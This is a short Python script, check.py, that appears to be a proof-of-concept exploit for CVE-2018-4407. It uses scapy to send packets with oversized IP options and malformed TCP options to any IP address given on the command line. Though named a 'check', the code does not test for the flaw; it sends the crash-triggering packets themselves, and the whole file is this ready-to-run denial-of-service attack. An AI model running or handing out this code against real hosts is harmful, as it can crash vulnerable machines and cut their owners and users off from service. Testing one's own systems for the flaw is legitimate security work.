CVE-2018-4407 ICMP DOS

check.py

# CVE-2018-4407 ICMP DOS

from scapy.layers.inet import IPOption, TCP, IP
from scapy.all import *

if __name__ == '__main__':
    try:
        check_ip = sys.argv[1]
        print('CVE-2018-4407 ICMP DOS - ' + check_ip)
        for i in range(8, 20):
            send(IP(dst=check_ip, options=[IPOption("A" * i)]) / TCP(dport=2323, options=[(19, "1" * 18), (19, "2" * 18)]))
        print("[*] Done")
    except Exception:
        print('usage: sudo python3 check.py IP')